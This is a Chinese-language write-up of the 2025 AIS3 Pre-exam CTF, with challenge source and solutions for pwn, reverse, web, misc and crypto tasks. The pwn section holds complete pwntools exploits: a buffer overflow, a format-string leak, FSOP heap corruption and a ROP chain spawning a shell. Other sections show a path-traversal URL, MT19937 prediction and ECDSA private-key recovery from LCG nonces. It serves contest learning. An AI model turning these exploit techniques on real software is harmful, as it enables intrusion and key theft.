2025 AIS3 Pre-exam Writeup

Pwn

Welcome to the World of Ave Mujica🌙

read_int8 可輸入 -1。

因此輸入 buf 時長度不受限制,可 buffer overflow。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import sys

context.arch = 'amd64'

exe = './chal'

script = '''
'''

elf = ELF(exe)
if sys.argv[1] == 'local':
io = process(exe)
elif sys.argv[1] == 'debug':
io = process(exe)
gdb.attach(io, script)
elif sys.argv[1] == 'remote':
io = remote('chals1.ais3.org', 60804)
else:
print("python exp.py [mode]")
exit()

io.sendlineafter('?', 'yes')
io.sendlineafter(':', '-1')
io.sendlineafter(':', b'a'*0xa8 + p64(0x401256))

io.interactive()

AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._68d3f7fff7a7631e13a51bf379bc54fc}

Format

典型的 format string attack。

程式將 flag 讀進 stack,check_format 檢查輸入只包含數字和符號,放進 buffer 後 print 出來。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

srand(time(NULL));
int number = rand();
int fd = open("/home/chal/flag.txt", O_RDONLY);
char flag[0x100] = {0};
read(fd, flag, 0xff);
close(fd);

char format[0x10] = {0};
printf("What format do you want ? ");
read(0, format, 0xf);
check_format(format);

char buffer[0x20] = {0};
strcpy(buffer, "Format number : %3$");
strcat(buffer, format);
strcat(buffer, "d\n");
printf(buffer, "Welcome", "~~~", number);

return 0;
}

加入 /%10$ 或類似的字串,使 printf 第一個參數變成 Format number : %3$/%10$d,即可印出第十個參數,也就是 stack 上的數值。

透過 gdb 或直接手動嘗試,可發現 flag 開頭在大約第 20 個 offset,編寫 python 自動化得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

flag = b''
for i in range(20, 800):
io = remote('chals1.ais3.org', 50960)
#io = process('./chal')

io.sendlineafter('? ', f'/%{i}$')
io.recvuntil(': %/')
number = int(io.recvline(keepends=False))
if number == 0:
break
flag += bytes([number.to_bytes(4)[-1]])
io.close()

print(flag)

AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}

MyGO schedule manager α

題目維護一個 schedule 結構在 heap 上。

1
2
3
4
5
6
struct schedule{
char title[0x16];
std::string content;
};

schedule* sched = nullptr;

漏洞發生在 edit_title,cin 可造成 buffer overflow 覆蓋 sched->content 的資料。

1
2
3
4
5
6
7
8
9
10
void edit_title(){
if (SCHEDULE_STATUS == 1){
puts("MyGO @ sched title > ");
std::cin >> sched->title;
puts("[!] Edit Success");
} else {
puts("[x] Schdule Not Found ... ");
return;
}
}

sched->content 是一個 string 結構,背後有 pointer 指向字元陣列,以及字串長度等資料。edit_title 可改 pointer 指向的位置,再用 edit_content 改內容,即達到任意地址寫入。

1
2
3
4
5
6
7
8
9
10
void edit_content(){
if (SCHEDULE_STATUS == 1){
puts("MyGO @ sched content > ");
std::cin >> sched->content;
puts("[!] Edit Success");
} else {
puts("[x] Schdule Not Found ... ");
return;
}
}

搭配 show 能達到任意地址讀取。

1
2
3
4
5
6
7
8
9
10
11
void show(){
if (SCHEDULE_STATUS == 1){
printf("===== Schedule =====\n");
printf("MyGO @ Title : %15s\n", sched -> title);
printf("MyGO @ Content : %s\n", sched -> content.c_str());
printf("====================\n");
} else {
puts("[x] Schdule Not Found ... ");
return;
}
}

攻擊第一步是透過任意讀拿到 got 上的值,得 libc 位置。

透過任意寫入修改 stderr 的 file pointer,其 vtable 指向 _IO_wfile_jumps_wide_data 欄位指向自定義的 wide_data_addr

wide_data 的位址同時放了 wide_data, vtable 的資料,並將 vtable->__doallocate 指向 backdoor。

當程式結束時,所有 file pointer 將會被 flush,包括 stdout, stderr。由於我們修改了 stderr 的 vtable,裡面呼叫到 _IO_wfile_overflow
half

若符合條件,程式走到 _IO_wdoallocbuf,而 _IO_WDOALLOCATE 尋找 vtable 裡的 __doallocate 函數,便可執行 backdoor。
half

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

context.arch = 'amd64'

exe = './chal'
io = remote('chals1.ais3.org', 51000)
#io = process(exe)
script = '''
b *0x401656
c
c
b _IO_wfile_overflow
b _IO_wfile_overflow+181
'''
#gdb.attach(io, script)

elf = ELF(exe)
libc = ELF('./libc.so.6')

def login():
io.sendlineafter("Username >", "MyGO!!!!!")
io.sendlineafter("Password >", "TomorinIsCute")

def create(title, content):
io.sendlineafter("$ >", "1")
io.sendlineafter("title >", title)
io.sendlineafter("content >", content)

def edit_title(payload):
io.sendlineafter("$ >", "2")
io.sendlineafter("title >", payload)

def edit_content(payload):
io.sendlineafter("$ >", "3")
io.sendlineafter("content >", payload)

def show():
io.sendlineafter("$ >", "4")

login()
create("A"*8, "B"*8)

# Leak libc
puts_got = elf.got['puts']
edit_title(b'A' * 0x18 + p64(puts_got))

show()
io.recvuntil('Content : ')
libc_base = u64(io.recvline(keepends=False).ljust(8, b'\0')) - libc.sym['puts']
log.success(f"Libc base: {hex(libc_base)}")

# Construct wide_data
backdoor = 0x4013EC
wide_data_addr = 0x0000000000404a00

wide_data = [0] * (0xe8 // 8) # also be _wide_vtable
wide_data[13] = backdoor # _wide_vtable->__doallocate
wide_data[-1] = wide_data_addr # _wide_data->_wide_vtable

edit_title(b"A" * 0x18 + p64(wide_data_addr))

edit_content(flat(wide_data))

# Construct fp
_IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']

fp = FileStructure(null = 0x404800)
fp.flags = 0xfbad2484
fp._IO_write_base = 0
fp._IO_write_ptr = 1
fp._wide_data = wide_data_addr
fp.vtable = _IO_wfile_jumps

stdout_addr = libc_base + libc.symbols['_IO_2_1_stderr_']
edit_title(b"A" * 0x18 + p64(stdout_addr))
edit_content(bytes(fp))

io.sendlineafter("> ", "0")

io.interactive()

AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken...Go_p1ay_b3ta!}

Author ?????? RPG

本題漏洞為 OOB 和 ROP 合用,並套多次 ROP 以避免部分限制。

在 main 函數中 competition 可用來放入 16 個 ROP gadget。而輸入 challenger[rank - 1] 時,由於未檢查 rank 的範圍,可經由 OOB 漏洞改到全域變數。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char competition[0x80] = {};
int rank = 0;
char challenger[100][0x10] = {};
unsigned int kill_Curious_cnt = 0;

int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

printf("========= MyFirstCTF / AIS3 Author Killer RPG =========\n");
printf("Participate Competition [MyFirstCTF / AIS3 Pre-Exam] > ");
read(0, competition, 0x7f);

printf("Competition Rank [1-100] > ");
scanf("%d", &rank);
printf("Name [] > ");
read(0, challenger[rank - 1], 0xf);

kill_Curious 用於 worst_challenge 的 index,我們能用前面 OOB 來修改 kill_Curious_cnt,進而編輯 return 時的 rbp, rip 值,比較麻煩的是 kill_Curious_cnt 最後都會加一,因此只能編輯一次。

1
2
3
4
5
6
7
8
void kill_Curious() {
char worst_challenge[12][0x10] = {0};
fprintf(stdout, "⚔️⚔️⚔️\n\n");
fprintf(stdout, "Result : Curious has been killed by you.\n");
fprintf(stdout, "Worst Challenge [] > ");
read(0, &worst_challenge[kill_Curious_cnt], 0xf);
kill_Curious_cnt += 1;
}

若我們再 leave, return,便可透過 rbp,將 rsp 指向任何想要的位置,例如 competition 變數儲存的 ROP gadget。

但這會遇到 stack 太小的問題,由於 competition 在 0x404080,0x404000 之前都不可寫,ROP 過程中若呼叫 puts 等函數,會遇到 stack 不可寫而報錯。

解法是再 stack migration 一次,competition 變數裡的 gadget 用於將後續 gadget 讀到記憶體,並跳轉 rsp,我這裡是用 0x404800 附近的位置。

有了無限制的 ROP,便可輕鬆印出 got 得到 libc,然後呼叫 system 拿到 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import sys

context.arch = 'amd64'

exe = './chal'

script = '''
b *0x4012a5
c
'''

elf = ELF(exe)
libc = ELF('/home/kali/glibc-all-in-one/libs/2.39-0ubuntu8.4_amd64/libc.so.6')

if sys.argv[1] == 'local':
io = process(exe)
elif sys.argv[1] == 'debug':
io = process(exe)
gdb.attach(io, script)
elif sys.argv[1] == 'remote':
io = remote('chals1.ais3.org', 50961)
else:
print("python exp.py [mode]")
exit()

buf = 0x404080
wider_buf = 0x404800
kill_Curious = 0x401207
pop_rbp = 0x4011dd
pop_rdi = 0x4011fe
pop_rsi = 0x401200
pop_rdx = 0x401202
leave = 0x4012d3

# Write ROP and use OOB
rop = [pop_rdi, 0, pop_rsi, wider_buf, pop_rdx, 0x50, elf.plt['read']]
rop += [pop_rbp, wider_buf - 8, leave]
io.sendafter('> ', flat(rop))

io.sendlineafter('> ', '101')
io.sendlineafter('> ', p64(12))
io.sendlineafter('> ', '3')

io.sendafter('> ', flat([buf - 8, 0x401296])[:-1])
io.send(flat(rop[1:3])[:-1])

# Jump to wider place
rop2 = [pop_rdi, elf.got['puts'], elf.plt['puts']]
rop2 += [pop_rdi, 0, pop_rsi, wider_buf + 10*8, pop_rdx, 0x100, elf.plt['read']]
rop += [pop_rbp, wider_buf - 8, leave]

io.send(flat(rop2))

# Leak libc
libc_base = u64(io.recvline(keepends=False).ljust(8, b'\0')) - libc.sym['puts']
info('Libc: ' + hex(libc_base))
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0x1cb42f

# Call system
rop3 = [pop_rdi, bin_sh, system]
io.send(flat(rop3))

io.interactive()

AIS3{Curious_1$_v3rY_S@d_7h4T_y0U_w4n7_T0_k1lI_h!m_TT}

Reverse

AIS3 Tiny Server - Reverse

藉由 IDA 字串搜索發現以下程式,看起來是檢查 flag 的功能。

check_flag 的邏輯很簡單,就是 xor 處理而已,可寫 python 或 gdb 掛進去拿 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
j = 0
v2 = 51
v3 = 114
key = b''
key += int.to_bytes(1480073267, 4, 'little')
key += int.to_bytes(1197221906, 4, 'little')
key += int.to_bytes(254628393, 4, 'little')
key += int.to_bytes(920154, 4, 'little')
key += int.to_bytes(1343445007, 4, 'little')
key += int.to_bytes(874076697, 4, 'little')
key += int.to_bytes(1127428440, 4, 'little')
key += int.to_bytes(1510228243, 4, 'little')
key += int.to_bytes(743978009, 4, 'little')
key += int.to_bytes(54940467, 4, 'little')
key += int.to_bytes(1246382110, 4, 'little')
key += int.to_bytes(20, 4, 'little')
key = list(key)

rikki_l0v3 = bytearray(10)
rikki_l0v3[0:10] = b'rikki_l0v3'
while 1:
key[j] = v2 ^ v3
j += 1
if j == 45:
break
v2 = key[j]
v3 = rikki_l0v3[j % 0xA]
print(''.join([chr(i) for i in key]))

AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

web flag checker

題目是一個 flag checker,背後用到 wasm。

透過 wasm-decompile 解回來,並手動反混淆後,得到大概以下程式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function f_i(a:long, b:int):long {
return (a << i64_extend_i32_u(b)) | (a >> i64_extend_i32_u(64 - b));
}

export function flagchecker(a:int):int {
var d:int = g_a - 96;
g_a = d;
d[22]:int = input;
d[21]:int = -39934163;
d[4]:long = 7577352992956835434L;
d[5]:long = 7148661717033493303L;
d[8]:long = 8046961146294847270L;
if (input == 0) goto B_c;
var z:int = f_n(input) != 40 & 1;
if (f_n(input) == 40) goto B_b;
label B_c:
d[23]:int = 0;
goto B_a;

label B_b:
i = 0;
d[6] = i;
d[7] = input;
loop L_e {
if (eqz(i >= 5)) goto B_d;
d[2]:long = input[i];
d[3]:int = (-39934163 >> (i * 6)) & 63;
var za:long = f_i(d[2]:long, d[3]:int);
if (za == d[4 + i]) goto B_f;
d[23]:int = 0;
goto B_a;
label B_f:
i = i + 1;
continue L_e;
}
label B_d:
d[23]:int = 1;
label B_a:
var result:int = d[23]:int;
g_a = d + 96;
return result;
}

雖然我反混淆後的程式怪怪的,但能推斷大致的邏輯,就是做一些 bitwise 運算,寫 python 解回 flag。

1
2
3
4
5
6
7
8
9
data = [7577352992956835434, 7148661717033493303, 11365297244963462525, 10967302686822111791, 8046961146294847270]

def f_i_rev(a, b):
return ((a >> b) | (a << 64 - b)) & (2**64-1)

for i, x in enumerate(data):
key = data[i]
s = bytes.fromhex(hex(f_i_rev(key, (2**64-39934163 >> (i * 6)) & 63))[2:].ljust(16, '0'))
print(s[::-1])

AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

A_simple_snake_game

SnakeGame::Screen::drawText 若遊戲分數大於 11451419,生命大於 19810 就會印出 flag。

x86dbg 進到這段 code 就能看到 flag。

AIS3{CH3aT_Eng1n3?_Ofcau53_I_bo_1T_by_hAnD}

這麼臭的數字有必要嗎

Web

Tomorin db

網頁在路徑是 /flag 時會跳轉。

1
2
3
4
5
6
7
8
9
10
11
package main

import "net/http"

func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}

隨便亂試就有 flag 了,好像不是預期解 XD

http://chals1.ais3.org:30000/Tomorin/..%2fflag

AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Misc

Welcome

flag 不可直接複製,因為背後有用 css 改過順序,直接手打就可以了。

AIS3{Welcome_And_Enjoy_The_CTF_!}

Ramen CTF

題目要找出拉麵店名及品項,圖片右邊有發票可以掃。

掃出來就是答案。
half

AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc

題目程式似乎直接拿 path 當作路徑顯示資料夾,可看到 flag 檔案名稱。

http://chals1.ais3.org:20805//


AIS3{tInY_we8_seRvER_W1TH_fILe_8R0Ws1nG_AS_@_FeATur3}

Crypto

Stream

題目使用 getrandbits 加密 flag,getrandbits 背後使用 mt19937 算法,若有足夠資料,可預測下一個給出的亂數。

1
2
3
4
5
6
7
8
9
10
11
12
from random import getrandbits
import os
from hashlib import sha512
from flag import flag

def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)

for i in range(80):
print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

print(hexor(flag, getrandbits(256)))

查看 for 迴圈,os.urandom(True) 只給出 1 byte 的亂數,可以枚舉。
對於 hexor 輸出的每個數字,枚舉 sha512(os.urandom(True)) 的值,若 xor 後的數字是完全平方數,便可假設它是 getrandbits 得到的數字。

將資料放入任意一個 mt19937 預測工具,即可推算 getrandbits 而拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
data = [0xc900d26d54a60819abf46f3380bdc0d4b29d16bfde908e824f67ddc9d1f945a9e252deaf60dc7336c7efd5f7e11e943bdb9d8484254e3e4bf228e676e692ab97,
0xde3b466a251b242d8aa7a3d9e1b7a3aeeb448046c3e4031a450b9696b24c727a501b85705da2e6d6f2c86595dea48ef7cafb90210710d7cab7f1b02a64a901d4, ...]

flag_cipher = 0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694

from hashlib import sha512
import math
from extend_mt19937_predictor import ExtendMT19937Predictor
from Crypto.Util.number import long_to_bytes

predictor = ExtendMT19937Predictor()

def hexor(a: bytes, b: int):
return hex(int.from_bytes(a)^b**2)

for d in data:
found = False
for i in range(256):
num = int.from_bytes(sha512(bytes([i])).digest()) ^ d
root = math.isqrt(num)
if root * root == num:
predictor.setrandbits(root, 256)
found = True
break
if not found:
print(f"Failed to find a square for {d}")
continue

result = flag_cipher ^ predictor.predict_getrandbits(256) ** 2
print(long_to_bytes(result))

AIS3{no_more_junks...plz}

SlowECDSA

在開始之前先了解 ECDSA 的簽名過程,以下參數會先設定好:

  • G: 橢圓曲線上的 generator point
  • n: G 的 order
  • d: 隨機選的私鑰 $d\in[1,n−1]$
  • Q = dG: 公鑰

簽章過程:

  1. 將訊息 hash 成 h
  2. 產生隨機數 $k\in[1,n-1]$
  3. 計算 $R=kG$,取 $r=R_x\mod n$
  4. 計算 $s=k^{-1}(h+rd)\mod n$
  5. 簽章結果就是 (r, s)

最重要的就是 $s=k^{-1}(h+rd)\mod n$,s, h 皆已知。若 k 是已知的,就能推出 d。

儘管我們不知道 k 是多少,但題目中 k 是用 LCG 產生的。

1
2
3
4
5
6
7
def sign(msg: bytes):
h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
k = lcg.next()
R = k * curve.generator
r = R.x() % order
s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
return r, s

假設第一次 sign 用的 $k$ 為 $k_1$,第二次是 $k_2$,則 $k_2=a\times k_1+c$,我們可以用這種關係推出 $d$。
$$
\begin{align*}
&s_1=\frac{h+r_1\times d}{k_1}\
&s_2=\frac{h+r_2\times d}{k_2}
\end{align*}
$$
移項得到:
$$
\begin{align*}
&k_1=\frac{h+r_1\times d}{s_1}\
&k_2=\frac{h+r_2\times d}{s_2}
\end{align*}
$$

推出 $d$:
$$
\begin{align*}
&k_2=a\times k_1+c\
&\Rightarrow \frac{(h+r_2\times d)}{s_2}=a\times\frac{(h+r_1\times d)}{s_1}+c\
&\Rightarrow (h+r_2\times d)\times s_1=a\times(h+r_1\times d)\times s_2+c\
&\Rightarrow hs_1+r_2ds_1=ahs_2+ar_1ds_2+cs_1s_2\
&\Rightarrow r_2ds_1-ar_1ds_2=ahs_2+cs_1s_2-hs_1\
&\Rightarrow d=\frac{ahs_2+cs_1s_2-hs_1}{r_2s_1-ar_1s_2}
\end{align*}
$$

我懶得寫 pwntools,所以直接輸入題目的 $r_1$, $s_1$, $r_2$, $s_2$,然後給出簽名過的 r, s,拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange, inverse

class LCG:
def __init__(self, seed, a, c, m):
self.state = seed
self.a = a
self.c = c
self.m = m

def next(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state

curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()

lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)

n = order
a=1103515245
c=12345

def sign(msg: bytes, d=None):
h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
k = lcg.next()
R = k * curve.generator
r = R.x() % order
if d == None:
d = sk.privkey.secret_multiplier
s = (pow(k, -1, order) * (h + r * d)) % order
return r, s

def verify(msg: str, r: int, s: int):
h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
try:
sig = number_to_string(r, order) + number_to_string(s, order)
return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
except:
return False

example_msg = b"example_msg"

r1 = int(input("Enter r1: "), 16)
s1 = int(input("Enter s1: "), 16)
r2 = int(input("Enter r2: "), 16)
s2 = int(input("Enter s2: "), 16)

h = int.from_bytes(hashlib.sha1(example_msg).digest(), 'big') % order

d = (a*h*s2 + c*s1*s2 - h*s1 % n) % n * inverse((r2*s1 - a*r1*s2 % n) % n, n) % n
print(f"d: {hex(d)}")

r, s = sign(b'give_me_flag', d)
sign(b'give_me_flag', d)

print("message: give_me_flag")
print(f"r: {hex(r)}")
print(f"s: {hex(s)}")


AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}